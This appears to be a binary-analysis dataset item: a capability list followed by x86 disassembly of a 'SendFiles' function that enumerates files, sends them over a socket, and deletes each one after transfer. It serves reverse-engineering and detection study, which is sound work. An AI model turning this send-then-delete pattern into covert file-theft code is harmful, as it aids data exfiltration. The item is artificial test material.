Function at 0x46e3f0
Capabilities:
Delete file
Enumerate files on windows
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x565583
mov eax, dword fs:[0]
push eax
sub esp, 0x688
mov eax, dword [0x5b3680]
xor eax, ebp
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov eax, dword [ebp + 0x10]
lea ecx, [ebp - 0x680]
mov edi, dword [ebp + 0xc]
push 0x581a44
mov dword [ebp - 0x690], edi
mov dword [ebp - 0x694], eax
call fcn.004031c0
mov dword [ebp - 4], 0
xor esi, esi
xor ebx, ebx
mov dword [ebp - 0x68c], esi
mov dword [ebp - 0x688], ebx
mov dword [ebp - 0x684], ebx
mov byte [ebp - 4], 1
mov esi, dword [ebp - 0x694]
push esi
push str.SendFiles:_start:_type:__s_n
call fcn.0052d67c
push esi
push edi
lea eax, [ebp - 0x680]
push 0x58bcbc
push eax
call fcn.00415d20
add esp, 0x18
lea eax, [ebp - 0x674]
push eax
push dword [ebp - 0x680]
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov esi, eax
cmp esi, 0xffffffff
jne 0x46e55d
push ebx
mov word [ebp - 0x420], 0x24
mov dword [ebp - 0x41a], ebx
mov dword [ebp - 0x41e], 0x20009301
push 0xe
lea eax, [ebp - 0x420]
push eax
push dword [ebp + 8]
call dword [sym.imp.WS2_32.dll_send]
xor edi, edi
mov byte [ebp - 4], 0
mov esi, dword [ebp - 0x68c]
test esi, esi
je 0x46e516
push ecx
mov edx, ebx
mov ecx, esi
call fcn.0045a940
add esp, 4
push esi
call fcn.005295dd
add esp, 4
mov dword [ebp - 0x68c], 0
mov dword [ebp - 0x688], 0
mov dword [ebp - 0x684], 0
mov dword [ebp - 4], 0xffffffff
or ecx, 0xffffffff
mov esi, dword [ebp - 0x680]
add esi, 0xfffffff0
lea eax, [esi + 0xc]
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x46e53d
mov ecx, dword [esi]
push esi
mov edx, dword [ecx]
call dword [edx + 4]
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.005295e2
mov esp, ebp
pop ebp
ret 0xc
mov ebx, dword [sym.imp.KERNEL32.dll_FindNextFileW]
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
lea esp, [esp]
lea eax, [ebp - 0x648]
push eax
lea ecx, [ebp - 0x678]
call fcn.004031c0
mov byte [ebp - 4], 2
lea eax, [ebp - 0x678]
push eax
lea ecx, [ebp - 0x68c]
call fcn.00459110
mov byte [ebp - 4], 1
or ecx, 0xffffffff
mov edx, dword [ebp - 0x678]
add edx, 0xfffffff0
lea eax, [edx + 0xc]
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x46e5bc
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
lea eax, [ebp - 0x674]
push eax
push esi
call ebx
test eax, eax
jne 0x46e570
call edi
cmp eax, 0x12
jne 0x46e570
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
mov ebx, dword [ebp - 0x688]
mov ecx, ebx
mov esi, dword [ebp - 0x68c]
sub ecx, esi
sar ecx, 2
mov word [ebp - 0x420], 0x24
mov dword [ebp - 0x41e], 0x20009301
push 0
push 0xe
test ecx, ecx
jne 0x46e611
mov dword [ebp - 0x41a], ecx
jmp 0x46e4c2
mov edi, dword [ebp + 8]
mov dword [ebp - 0x41a], 4
mov ax, word [ebp - 0x418]
movq xmm0, qword [ebp - 0x420]
mov word [ebp - 0x40c], ax
lea eax, [ebp - 0x414]
push eax
push edi
movq qword [ebp - 0x414], xmm0
mov dword [ebp - 0x40a], ecx
call dword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
je 0x46e4d2
push 0x400
lea eax, [ebp - 0x414]
push 0
push eax
call fcn.00531bd0
add esp, 0xc
lea eax, [ebp - 0x414]
push 0
push 0x400
push eax
push edi
call dword [sym.imp.WS2_32.dll_recv]
cmp eax, 0xffffffff
je 0x46e4d2
cmp byte [ebp - 0x414], 0x24
movq xmm0, qword [ebp - 0x414]
mov ax, word [ebp - 0x40c]
movq qword [ebp - 0x420], xmm0
mov word [ebp - 0x418], ax
jne 0x46e4d2
cmp dword [ebp - 0x412], 0x55aa0000
je 0x46e701
lea ecx, [ebp - 0x678]
call fcn.00402b10
mov byte [ebp - 4], 4
lea eax, [ebp - 0x678]
push dword [ebp - 0x41e]
push str.Bad_data_type._Received_type__04Xh.
push eax
call fcn.00415d20
add esp, 0xc
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x678]
call fcn.00402750
jmp 0x46e4d2
lea ecx, [ebp - 0x67c]
call fcn.00402b10
mov byte [ebp - 4], 5
lea ecx, [ebp - 0x67c]
mov edx, dword [ebp - 0x694]
push 0
push 1
call fcn.004820b0
add esp, 8
xor edi, edi
cmp dword [ebp - 0x68c], ebx
je 0x46e7bc
push ecx
push dword [esi]
push dword [ebp - 0x690]
push dword [ebp + 8]
call fcn.0046e800
test eax, eax
je 0x46e7a2
push dword [esi]
lea ecx, [ebp - 0x67c]
call fcn.00401e70
test eax, eax
je 0x46e7a2
lea ecx, [ebp - 0x678]
call fcn.00402b10
mov byte [ebp - 4], 6
lea eax, [ebp - 0x678]
push dword [esi]
push dword [ebp - 0x690]
push 0x58ae70
push eax
call fcn.00415d20
add esp, 0x10
push dword [ebp - 0x678]
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov byte [ebp - 4], 5
lea ecx, [ebp - 0x678]
call fcn.00402750
inc edi
push edi
push str.SendFiles:_count:__d_n
call fcn.0052d67c
add esi, 4
add esp, 8
cmp esi, ebx
jne 0x46e736
push str.SendFiles:_end_n
call fcn.0052d67c
add esp, 4
mov edi, 1
mov byte [ebp - 4], 1
or ecx, 0xffffffff
mov edx, dword [ebp - 0x67c]
add edx, 0xfffffff0
lea eax, [edx + 0xc]
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x46e4d4
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
jmp 0x46e4d4